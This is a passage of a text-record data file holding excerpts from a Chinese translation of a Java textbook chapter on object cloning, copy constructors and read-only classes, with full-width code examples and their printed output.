除了序列化和克隆之间巨大的时间差异以外，我们也注意到序列化技术的运行结果并不稳定，而克隆每一次 花费的时间都是相同的。"},
    {"text": "１ ２ ． ２ ． ９ 使克隆具有更大的深度 若新建一个类，它的基础类会默认为 Ｏｂｊｅｃｔ，并默认为不具备克隆能力（就象在下一节会看到的那样）。"},
    {"text": "如下所示： ／／： ＨｏｒｒｏｒＦｌｉｃｋ．ｊａｖａ ／／ Ｙｏｕ ｃａｎ ｉｎｓｅｒｔ Ｃｌｏｎｅａｂｉｌｉｔｙ ａｔ ａｎｙ ／／ ｌｅｖｅｌ ｏｆ ｉｎｈｅｒｉｔａｎｃｅ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ３６１ ｃｌａｓｓ Ｐｅｒｓｏｎ ｛｝ ｃｌａｓｓ Ｈｅｒｏ ｅｘｔｅｎｄｓ Ｐｅｒｓｏｎ ｛｝ ｃｌａｓｓ Ｓｃｉｅｎｔｉｓｔ ｅｘｔｅｎｄｓ Ｐｅｒｓｏｎ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ ｔｒｙ ｛ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ ／／ ｔｈｉｓ ｓｈｏｕｌｄ ｎｅｖｅｒ ｈａｐｐｅｎ： ／／ Ｉｔ＇ｓ Ｃｌｏｎｅａｂｌｅ ａｌｒｅａｄｙ！ ｔｈｒｏｗ ｎｅｗ ＩｎｔｅｒｎａｌＥｒｒｏｒ（）； ｝ ｝ ｝ ｃｌａｓｓ ＭａｄＳｃｉｅｎｔｉｓｔ ｅｘｔｅｎｄｓ Ｓｃｉｅｎｔｉｓｔ ｛｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＨｏｒｒｏｒＦｌｉｃｋ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐｅｒｓｏｎ ｐ ＝ ｎｅｗ Ｐｅｒｓｏｎ（）； Ｈｅｒｏ ｈ ＝ ｎｅｗ Ｈｅｒｏ（）； Ｓｃｉｅｎｔｉｓｔ ｓ ＝ ｎｅｗ Ｓｃｉｅｎｔｉｓｔ（）； ＭａｄＳｃｉｅｎｔｉｓｔ ｍ ＝ ｎｅｗ ＭａｄＳｃｉｅｎｔｉｓｔ（）； ／／ ｐ ＝ （Ｐｅｒｓｏｎ）ｐ．ｃｌｏｎｅ（）； ／／ Ｃｏｍｐｉｌｅ ｅｒｒｏｒ ／／ ｈ ＝ （Ｈｅｒｏ）ｈ．ｃｌｏｎｅ（）； ／／ Ｃｏｍｐｉｌｅ ｅｒｒｏｒ ｓ ＝ （Ｓｃｉｅｎｔｉｓｔ）ｓ．ｃｌｏｎｅ（）； ｍ ＝ （ＭａｄＳｃｉｅｎｔｉｓｔ）ｍ．ｃｌｏｎｅ（）；"},
    {"text": "后面讲述的是一个未获证实的故事——大概是由于围绕 Ｊａｖａ 的许多买卖使其成为一 种设计优良的语言——但确实要花许多口舌才能讲清楚这背后发生的所有事情。"},
    {"text": "只有在准备调用 Ｏｂｊｅｃｔ 的 ｃｌｏｎｅ（）方法时，才没有必要使用 Ｃｌｏｎｅａｂｌｅ 接口，因为那个方法会在运行期间得 到检查，以确保我们的类实现了 Ｃｌｏｎｅａｂｌｅ。"},
    {"text": "３６２ １ ２ ． ３ 克隆的控制 为消除克隆能力，大家也许认为只需将 ｃｌｏｎｅ（）方法简单地设为 ｐｒｉｖａｔｅ（私有）即可，但这样是行不通的， 因为不能采用一个基础类方法，并使其在衍生类中更“私有”。"},
    {"text": "注意在我们 实现方案里，可以而且应该调用 ｓｕｐｅｒ．ｃｌｏｎｅ（）——即使那个方法本来预期的是一个 Ｃｌｏｎｅａｂｌｅ 对象（否则 会掷出一个违例），因为没有人会在我们这种类型的对象上直接调用它。"},
    {"text": "除此以外，一旦涉及保密对象或者遇到想对创建的对象数量 进行控制的其他情况，应该将所有构建器都设为 ｐｒｉｖａｔｅ，并提供一个或更多的特殊方法来创建对象。 采用 这种方式，这些方法就可以限制创建的对象数量以及它们的创建条件——一种特殊情况是第 １６ 章要介绍的 ｓｉｎｇｌｅｔｏｎ（独子）方案。"},
    {"text": "下面这个例子总结了克隆的各种实现方法，然后在层次结构中将其“关闭”： ／／： ＣｈｅｃｋＣｌｏｎｅａｂｌｅ．ｊａｖａ ／／ Ｃｈｅｃｋｉｎｇ ｔｏ ｓｅｅ ｉｆ ａ ｈａｎｄｌｅ ｃａｎ ｂｅ ｃｌｏｎｅｄ ／／ Ｃａｎ＇ｔ ｃｌｏｎｅ ｔｈｉｓ ｂｅｃａｕｓｅ ｉｔ ｄｏｅｓｎ＇ｔ ／／ ｏｖｅｒｒｉｄｅ ｃｌｏｎｅ（）： ｃｌａｓｓ Ｏｒｄｉｎａｒｙ ｛｝ ／／ Ｏｖｅｒｒｉｄｅｓ ｃｌｏｎｅ， ｂｕｔ ｄｏｅｓｎ＇ｔ ｉｍｐｌｅｍｅｎｔ ／／ Ｃｌｏｎｅａｂｌｅ： ｃｌａｓｓ ＷｒｏｎｇＣｌｏｎｅ ｅｘｔｅｎｄｓ Ｏｒｄｉｎａｒｙ ｛ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｔｈｒｏｗｓ ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｛ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｃｌｏｎｅ（）；"},
    {"text": "／／ Ｔｈｒｏｗｓ ｅｘｃｅｐｔｉｏｎ ｝ ｝ ／／ Ｄｏｅｓ ａｌｌ ｔｈｅ ｒｉｇｈｔ ｔｈｉｎｇｓ ｆｏｒ ｃｌｏｎｉｎｇ： ｃｌａｓｓ ＩｓＣｌｏｎｅａｂｌｅ ｅｘｔｅｎｄｓ Ｏｒｄｉｎａｒｙ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｔｈｒｏｗｓ ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｛ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｝ ３６３ ／／ Ｔｕｒｎ ｏｆｆ ｃｌｏｎｉｎｇ ｂｙ ｔｈｒｏｗｉｎｇ ｔｈｅ ｅｘｃｅｐｔｉｏｎ： ｃｌａｓｓ ＮｏＭｏｒｅ ｅｘｔｅｎｄｓ ＩｓＣｌｏｎｅａｂｌｅ ｛ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｔｈｒｏｗｓ ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｛ ｔｈｒｏｗ ｎｅｗ ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ（）； ｝ ｝ ｃｌａｓｓ ＴｒｙＭｏｒｅ ｅｘｔｅｎｄｓ ＮｏＭｏｒｅ ｛ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｔｈｒｏｗｓ ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｛ ／／ Ｃａｌｌｓ ＮｏＭｏｒｅ．ｃｌｏｎｅ（）， ｔｈｒｏｗｓ ｅｘｃｅｐｔｉｏｎ： ｒｅｔｕｒｎ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｝ ｃｌａｓｓ ＢａｃｋＯｎ ｅｘｔｅｎｄｓ ＮｏＭｏｒｅ ｛ ｐｒｉｖａｔｅ ＢａｃｋＯｎ ｄｕｐｌｉｃａｔｅ（ＢａｃｋＯｎ ｂ） ｛ ／／ Ｓｏｍｅｈｏｗ ｍａｋｅ ａ ｃｏｐｙ ｏｆ ｂ ／／ ａｎｄ ｒｅｔｕｒｎ ｔｈａｔ ｃｏｐｙ． Ｔｈｉｓ ｉｓ ａ ｄｕｍｍｙ ／／ ｃｏｐｙ， ｊｕｓｔ ｔｏ ｍａｋｅ ｔｈｅ ｐｏｉｎｔ： ｒｅｔｕｒｎ ｎｅｗ ＢａｃｋＯｎ（）； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ ／／ Ｄｏｅｓｎ＇ｔ ｃａｌｌ ＮｏＭｏｒｅ．ｃｌｏｎｅ（）： ｒｅｔｕｒｎ ｄｕｐｌｉｃａｔｅ（ｔｈｉｓ）； ｝ ｝ ／／ Ｃａｎ＇ｔ ｉｎｈｅｒｉｔ ｆｒｏｍ ｔｈｉｓ， ｓｏ ｃａｎ＇ｔ ｏｖｅｒｒｉｄｅ ／／ ｔｈｅ ｃｌｏｎｅ ｍｅｔｈｏｄ ｌｉｋｅ ｉｎ ＢａｃｋＯｎ： ｆｉｎａｌ ｃｌａｓｓ ＲｅａｌｌｙＮｏＭｏｒｅ ｅｘｔｅｎｄｓ ＮｏＭｏｒｅ ｛｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｈｅｃｋＣｌｏｎｅａｂｌｅ ｛ ｓｔａｔｉｃ Ｏｒｄｉｎａｒｙ ｔｒｙＴｏＣｌｏｎｅ（Ｏｒｄｉｎａｒｙ ｏｒｄ） ｛ Ｓｔｒｉｎｇ ｉｄ ＝ ｏｒｄ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（）； Ｏｒｄｉｎａｒｙ ｘ ＝ ｎｕｌｌ； ｉｆ（ｏｒｄ ｉｎｓｔａｎｃｅｏｆ Ｃｌｏｎｅａｂｌｅ） ｛ ｔｒｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｔｔｅｍｐｔｉｎｇ ＂ ＋ ｉｄ）； ｘ ＝ （Ｏｒｄｉｎａｒｙ）（（ＩｓＣｌｏｎｅａｂｌｅ）ｏｒｄ）．ｃｌｏｎｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｌｏｎｅｄ ＂ ＋ ｉｄ）； ｝ ｃａｔｃｈ（ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｕｌｄ ｎｏｔ ｃｌｏｎｅ ＂ ＋ ｉｄ）； ｝ ｝ ｒｅｔｕｒｎ ｘ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｕｐｃａｓｔｉｎｇ： ３６４ Ｏｒｄｉｎａｒｙ［］ ｏｒｄ ＝ ｛ ｎｅｗ ＩｓＣｌｏｎｅａｂｌｅ（）， ｎｅｗ ＷｒｏｎｇＣｌｏｎｅ（）， ｎｅｗ ＮｏＭｏｒｅ（）， ｎｅｗ ＴｒｙＭｏｒｅ（）， ｎｅｗ ＢａｃｋＯｎ（）， ｎｅｗ ＲｅａｌｌｙＮｏＭｏｒｅ（）， ｝； Ｏｒｄｉｎａｒｙ ｘ ＝ ｎｅｗ Ｏｒｄｉｎａｒｙ（）； ／／ Ｔｈｉｓ ｗｏｎ＇ｔ ｃｏｍｐｉｌｅ， ｓｉｎｃｅ ｃｌｏｎｅ（） ｉｓ ／／ ｐｒｏｔｅｃｔｅｄ ｉｎ Ｏｂｊｅｃｔ： ／／！ ｘ ＝ （Ｏｒｄｉｎａｒｙ）ｘ．ｃｌｏｎｅ（）； ／／ ｔｒｙＴｏＣｌｏｎｅ（） ｃｈｅｃｋｓ ｆｉｒｓｔ ｔｏ ｓｅｅ ｉｆ ／／ ａ ｃｌａｓｓ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｏｒｄ．ｌｅｎｇｔｈ； ｉ＋＋） ｔｒｙＴｏＣｌｏｎｅ（ｏｒｄ［ｉ］）；"},
    {"text": "所以一旦发出对 ｓｕｐｅｒ．ｃｌｏｎｅ（）的调用（由于对 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）的一个 调用造成的），便会无情地掷出 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ 违例。"},
    {"text": "但 是，这个 ｃｌｏｎｅ（）方法以及本例的另外几个方法并不捕获 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ 违例，而是任由它通 过，并传递给调用者。"},
    {"text": "在我们自己的 ｃｌｏｎｅ（）方 法中，通常需要在 ｃｌｏｎｅ（）内部捕获 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ 违例，而不是任由它通过。"},
    {"text": "类 ＮｏＭｏｒｅ 试图按照 Ｊａｖａ 设计者打算的那样“关闭”克隆：在衍生类 ｃｌｏｎｅ（）中，我们掷出 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ 违例。 ＴｒｙＭｏｒｅ 类中的 ｃｌｏｎｅ（）方法正确地调用 ｓｕｐｅｒ．ｃｌｏｎｅ（） ，并解析成 ＮｏＭｏｒｅ．ｃｌｏｎｅ（），后者掷出一个违例并禁止克隆。"},
    {"text": "这个类用一个独立的方法 ｄｕｐｌｉｃａｔｅ（）制作当前对象的一个 副本，并在 ｃｌｏｎｅ（）内部调用这个方法，而不是调用 ｓｕｐｅｒ．ｃｌｏｎｅ（）。"},
    {"text": "这意味着假如 ｃｌｏｎｅ（）在 ｆｉｎａｌ 类中掷出了一 个违例，便不能通过继承来进行修改，并可有效地禁止克隆（不能从一个拥有任意继承级数的类中明确调用 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）；"},
    {"text": "在类 ＣｈｅｃｋＣｌｏｎｅａｂｌｅ 中，我们看到的第一个类是 ｔｒｙＴｏＣｌｏｎｅ（），它能接纳任何 Ｏｒｄｉｎａｒｙ 对象，并用 ｉｎｓｔａｎｃｅｏｆ 检查它是否能够克隆。"},
    {"text": "若答案是肯定的，就将对象造型成为一个 ＩｓＣｌｏｎｅａｂｌｅ，调用 ｃｌｏｎｅ（）， 并将结果造型回 Ｏｒｄｉｎａｒｙ，最后捕获有可能产生的任何违例。"},
    {"text": "输出如下： Ａｔｔｅｍｐｔｉｎｇ ＩｓＣｌｏｎｅａｂｌｅ Ｃｌｏｎｅｄ ＩｓＣｌｏｎｅａｂｌｅ ３６５ Ａｔｔｅｍｐｔｉｎｇ ＮｏＭｏｒｅ Ｃｏｕｌｄ ｎｏｔ ｃｌｏｎｅ ＮｏＭｏｒｅ Ａｔｔｅｍｐｔｉｎｇ ＴｒｙＭｏｒｅ Ｃｏｕｌｄ ｎｏｔ ｃｌｏｎｅ ＴｒｙＭｏｒｅ Ａｔｔｅｍｐｔｉｎｇ ＢａｃｋＯｎ Ｃｌｏｎｅｄ ＢａｃｋＯｎ Ａｔｔｅｍｐｔｉｎｇ ＲｅａｌｌｙＮｏＭｏｒｅ Ｃｏｕｌｄ ｎｏｔ ｃｌｏｎｅ ＲｅａｌｌｙＮｏＭｏｒｅ 总之，如果希望一个类能够克隆，那么： （１） 实现 Ｃｌｏｎｅａｂｌｅ 接口 （２） 覆盖 ｃｌｏｎｅ（） （３） 在自己的 ｃｌｏｎｅ（）中调用 ｓｕｐｅｒ．ｃｌｏｎｅ（） （４） 在自己的 ｃｌｏｎｅ（）中捕获违例 这一系列步骤能达到最理想的效果。"},
    {"text": "下面是一个实际的例子： ／／： ＣｏｐｙＣｏｎｓｔｒｕｃｔｏｒ．ｊａｖａ ／／ Ａ ｃｏｎｓｔｒｕｃｔｏｒ ｆｏｒ ｃｏｐｙｉｎｇ ａｎ ｏｂｊｅｃｔ ／／ ｏｆ ｔｈｅ ｓａｍｅ ｔｙｐｅ， ａｓ ａｎ ａｔｔｅｍｐｔ ｔｏ ｃｒｅａｔｅ ／／ ａ ｌｏｃａｌ ｃｏｐｙ． ｃｌａｓｓ ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｗｅｉｇｈｔ；"},
    {"text": "ｐｒｉｖａｔｅ ｉｎｔ ｃｏｌｏｒ； ｐｒｉｖａｔｅ ｉｎｔ ｆｉｒｍｎｅｓｓ； ｐｒｉｖａｔｅ ｉｎｔ ｒｉｐｅｎｅｓｓ； ｐｒｉｖａｔｅ ｉｎｔ ｓｍｅｌｌ；"},
    {"text": "／／ ｅｔｃ． ＦｒｕｉｔＱｕａｌｉｔｉｅｓ（） ｛ ／／ Ｄｅｆａｕｌｔ ｃｏｎｓｔｒｕｃｔｏｒ ／／ ｄｏ ｓｏｍｅｔｈｉｎｇ ｍｅａｎｉｎｇｆｕｌ．．． ｝ ／／ Ｏｔｈｅｒ ｃｏｎｓｔｒｕｃｔｏｒｓ： ／／ ．．． ／／ Ｃｏｐｙ ｃｏｎｓｔｒｕｃｔｏｒ： ＦｒｕｉｔＱｕａｌｉｔｉｅｓ（ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｆ） ｛ ｗｅｉｇｈｔ ＝ ｆ．ｗｅｉｇｈｔ；"},
    {"text": "ｃｏｌｏｒ ＝ ｆ．ｃｏｌｏｒ； ｆｉｒｍｎｅｓｓ ＝ ｆ．ｆｉｒｍｎｅｓｓ； ｒｉｐｅｎｅｓｓ ＝ ｆ．ｒｉｐｅｎｅｓｓ； ｓｍｅｌｌ ＝ ｆ．ｓｍｅｌｌ； ／／ ｅｔｃ． ｝ ｝ ｃｌａｓｓ Ｓｅｅｄ ｛ ／／ Ｍｅｍｂｅｒｓ．．． Ｓｅｅｄ（） ｛ ／＊ Ｄｅｆａｕｌｔ ｃｏｎｓｔｒｕｃｔｏｒ ＊／ ｝ ３６６ Ｓｅｅｄ（Ｓｅｅｄ ｓ） ｛ ／＊ Ｃｏｐｙ ｃｏｎｓｔｒｕｃｔｏｒ ＊／ ｝ ｝ ｃｌａｓｓ Ｆｒｕｉｔ ｛ ｐｒｉｖａｔｅ ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｆｑ； ｐｒｉｖａｔｅ ｉｎｔ ｓｅｅｄｓ； ｐｒｉｖａｔｅ Ｓｅｅｄ［］ ｓ； Ｆｒｕｉｔ（ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｑ， ｉｎｔ ｓｅｅｄＣｏｕｎｔ） ｛ ｆｑ ＝ ｑ； ｓｅｅｄｓ ＝ ｓｅｅｄＣｏｕｎｔ； ｓ ＝ ｎｅｗ Ｓｅｅｄ［ｓｅｅｄｓ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓｅｅｄｓ； ｉ＋＋） ｓ［ｉ］ ＝ ｎｅｗ Ｓｅｅｄ（）； ｝ ／／ Ｏｔｈｅｒ ｃｏｎｓｔｒｕｃｔｏｒｓ： ／／ ．．． ／／ Ｃｏｐｙ ｃｏｎｓｔｒｕｃｔｏｒ： Ｆｒｕｉｔ（Ｆｒｕｉｔ ｆ） ｛ ｆｑ ＝ ｎｅｗ ＦｒｕｉｔＱｕａｌｉｔｉｅｓ（ｆ．ｆｑ）； ｓｅｅｄｓ ＝ ｆ．ｓｅｅｄｓ； ／／ Ｃａｌｌ ａｌｌ Ｓｅｅｄ ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｏｒｓ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓｅｅｄｓ； ｉ＋＋） ｓ［ｉ］ ＝ ｎｅｗ Ｓｅｅｄ（ｆ．ｓ［ｉ］）； ／／ Ｏｔｈｅｒ ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｉｏｎ ａｃｔｉｖｉｔｉｅｓ．．． ｝ ／／ Ｔｏ ａｌｌｏｗ ｄｅｒｉｖｅｄ ｃｏｎｓｔｒｕｃｔｏｒｓ （ｏｒ ｏｔｈｅｒ ／／ ｍｅｔｈｏｄｓ） ｔｏ ｐｕｔ ｉｎ ｄｉｆｆｅｒｅｎｔ ｑｕａｌｉｔｉｅｓ： ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ａｄｄＱｕａｌｉｔｉｅｓ（ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｑ） ｛ ｆｑ ＝ ｑ； ｝ ｐｒｏｔｅｃｔｅｄ ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｇｅｔＱｕａｌｉｔｉｅｓ（） ｛ ｒｅｔｕｒｎ ｆｑ； ｝ ｝ ｃｌａｓｓ Ｔｏｍａｔｏ ｅｘｔｅｎｄｓ Ｆｒｕｉｔ ｛ Ｔｏｍａｔｏ（） ｛ ｓｕｐｅｒ（ｎｅｗ ＦｒｕｉｔＱｕａｌｉｔｉｅｓ（）， １００）； ｝ Ｔｏｍａｔｏ（Ｔｏｍａｔｏ ｔ） ｛ ／／ Ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｏｒ ｓｕｐｅｒ（ｔ）； ／／ Ｕｐｃａｓｔ ｆｏｒ ｂａｓｅ ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｏｒ ／／ Ｏｔｈｅｒ ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｉｏｎ ａｃｔｉｖｉｔｉｅｓ．．． ｝ ｝ ｃｌａｓｓ ＺｅｂｒａＱｕａｌｉｔｉｅｓ ｅｘｔｅｎｄｓ ＦｒｕｉｔＱｕａｌｉｔｉｅｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｓｔｒｉｐｅｄｎｅｓｓ； ＺｅｂｒａＱｕａｌｉｔｉｅｓ（） ｛ ／／ Ｄｅｆａｕｌｔ ｃｏｎｓｔｒｕｃｔｏｒ ／／ ｄｏ ｓｏｍｅｔｈｉｎｇ ｍｅａｎｉｎｇｆｕｌ．．． ｝ ＺｅｂｒａＱｕａｌｉｔｉｅｓ（ＺｅｂｒａＱｕａｌｉｔｉｅｓ ｚ） ｛ ｓｕｐｅｒ（ｚ）； ３６７ ｓｔｒｉｐｅｄｎｅｓｓ ＝ ｚ．ｓｔｒｉｐｅｄｎｅｓｓ； ｝ ｝ ｃｌａｓｓ ＧｒｅｅｎＺｅｂｒａ ｅｘｔｅｎｄｓ Ｔｏｍａｔｏ ｛ ＧｒｅｅｎＺｅｂｒａ（） ｛ ａｄｄＱｕａｌｉｔｉｅｓ（ｎｅｗ ＺｅｂｒａＱｕａｌｉｔｉｅｓ（））； ｝ ＧｒｅｅｎＺｅｂｒａ（ＧｒｅｅｎＺｅｂｒａ ｇ） ｛ ｓｕｐｅｒ（ｇ）； ／／ Ｃａｌｌｓ Ｔｏｍａｔｏ（Ｔｏｍａｔｏ） ／／ Ｒｅｓｔｏｒｅ ｔｈｅ ｒｉｇｈｔ ｑｕａｌｉｔｉｅｓ： ａｄｄＱｕａｌｉｔｉｅｓ（ｎｅｗ ＺｅｂｒａＱｕａｌｉｔｉｅｓ（））； ｝ ｖｏｉｄ ｅｖａｌｕａｔｅ（） ｛ ＺｅｂｒａＱｕａｌｉｔｉｅｓ ｚｑ ＝ （ＺｅｂｒａＱｕａｌｉｔｉｅｓ）ｇｅｔＱｕａｌｉｔｉｅｓ（）； ／／ Ｄｏ ｓｏｍｅｔｈｉｎｇ ｗｉｔｈ ｔｈｅ ｑｕａｌｉｔｉｅｓ ／／ ．．． ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｏｐｙＣｏｎｓｔｒｕｃｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｐｅｎ（Ｔｏｍａｔｏ ｔ） ｛ ／／ Ｕｓｅ ｔｈｅ ＂ｃｏｐｙ ｃｏｎｓｔｒｕｃｔｏｒ＂： ｔ ＝ ｎｅｗ Ｔｏｍａｔｏ（ｔ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎ ｒｉｐｅｎ， ｔ ｉｓ ａ ＂ ＋ ｔ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｓｌｉｃｅ（Ｆｒｕｉｔ ｆ） ｛ ｆ ＝ ｎｅｗ Ｆｒｕｉｔ（ｆ）；"},
    {"text": "Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎ ｓｌｉｃｅ， ｆ ｉｓ ａ ＂ ＋ ｆ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｔｏｍａｔｏ ｔｏｍａｔｏ ＝ ｎｅｗ Ｔｏｍａｔｏ（）； ｒｉｐｅｎ（ｔｏｍａｔｏ）； ／／ ＯＫ ｓｌｉｃｅ（ｔｏｍａｔｏ）； ／／ ＯＯＰＳ！ ＧｒｅｅｎＺｅｂｒａ ｇ ＝ ｎｅｗ ＧｒｅｅｎＺｅｂｒａ（）； ｒｉｐｅｎ（ｇ）； ／／ ＯＯＰＳ！ ｓｌｉｃｅ（ｇ）； ／／ ＯＯＰＳ！ ｇ．ｅｖａｌｕａｔｅ（）；"},
    {"text": "注意 Ｆｒｕｉｔ 有一个 ｐｒｏｔｅｃｔｅｄ（受到保护的）ａｄｄＱｕａｌｉｔｉｅｓ（）方法，它允许衍生类来进行这些插入或修改操作（大 家或许会认为最合乎逻辑的做法是在 Ｆｒｕｉｔ 中使用一个 ｐｒｏｔｅｃｔｅｄ 构建器，用它获取 ＦｒｕｉｔＱｕａｌｉｔｉｅｓ 参数， 但构建器不能继承，所以不可在第二级或级数更深的类中使用它）。"},
    {"text": "之所以将 ＦｒｕｉｔＱｕａｌｉｔｉｅｓ 设为一个独立的对象，另一个原因是考虑到我们有时希望添加新的质量，或者通过 继承与多形性改变行为。"},
    {"text": "注意对 ＧｒｅｅｎＺｅｂｒａ 来说（这实际是西红柿的一类——我已栽种成功，它们简直令人 ３６８ 难以置信），构建器会调用 ａｄｄＱｕａｌｉｔｉｅｓ（），并为其传递一个 ＺｅｂｒａＱｕａｌｉｔｉｅｓ 对象。"},
    {"text": "当然，一旦 ＧｒｅｅｎＺｅｂｒａ 使用 ＦｒｕｉｔＱｕａｌｉｔｉｅｓ，就必须将其下溯造型成为正确的类型（就象 ｅｖａｌｕａｔｅ（）中展示的那 样），但它肯定知道类型是 ＺｅｂｒａＱｕａｌｉｔｉｅｓ。"},
    {"text": "最后，注意每个类都有一个副本构建器，而且每个副本构建器都必须关心为基础类和成员对象调用副本构建 器的问题，从而获得“深层复制”的效果。"},
    {"text": "方法 ｒｉｐｅｎ（）需要获取一个 Ｔｏｍａｔｏ 参数，并对其执行副本构建工作，以便复制对象： ｔ ＝ ｎｅｗ Ｔｏｍａｔｏ（ｔ）； 而 ｓｌｉｃｅ（）需要获取一个更常规的 Ｆｒｕｉｔ 对象，而且对它进行复制： ｆ ＝ ｎｅｗ Ｆｒｕｉｔ（ｆ）；"},
    {"text": "下面是输出结果： Ｉｎ ｒｉｐｅｎ， ｔ ｉｓ ａ Ｔｏｍａｔｏ Ｉｎ ｓｌｉｃｅ， ｆ ｉｓ ａ Ｆｒｕｉｔ Ｉｎ ｒｉｐｅｎ， ｔ ｉｓ ａ Ｔｏｍａｔｏ Ｉｎ ｓｌｉｃｅ， ｆ ｉｓ ａ Ｆｒｕｉｔ 从中可以看出一个问题。"},
    {"text": "１ ２ ． ４ 只读类 尽管在一些特定的场合，由 ｃｌｏｎｅ（）产生的本地副本能够获得我们希望的结果，但程序员（方法的作者）不 得不亲自禁止别名处理的副作用。"},
    {"text": "更有可能的一种情况是，假如我们想让别名发挥积极的作用——禁止不 必要的对象复制——但却不希望看到由此造成的副作用，那么又该如何处理呢？"},
    {"text": "作为“不变对象”一个简单例子，Ｊａｖａ 的标准库包含了“封装器”（ｗｒａｐｐｅｒ）类，可用于所有基本数据类 型。 大家可能已发现了这一点，如果想在一个象 Ｖｅｃｔｏｒ（只采用 Ｏｂｊｅｃｔ 句柄）这样的集合里保存一个 ｉｎｔ 数值，可以将这个 ｉｎｔ 封装到标准库的 Ｉｎｔｅｇｅｒ 类内部。"},
